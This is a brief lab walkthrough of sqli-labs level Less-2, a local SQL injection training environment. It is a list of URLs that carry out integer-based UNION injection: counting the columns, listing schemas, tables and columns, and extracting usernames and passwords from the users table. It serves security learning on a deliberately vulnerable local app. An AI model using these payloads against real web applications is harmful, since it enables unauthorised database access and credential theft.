【Less-2】GET - Error based - Integer based

LESS-2

http://127.0.0.1/sqli-labs-master/Less-2/?id=1%23
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3%23
http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,3%23
http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,group_concat(schema_name),3 from information_schema.schemata%23
http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'%23
http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,group_concat(username),group_concat(password) from security.users%23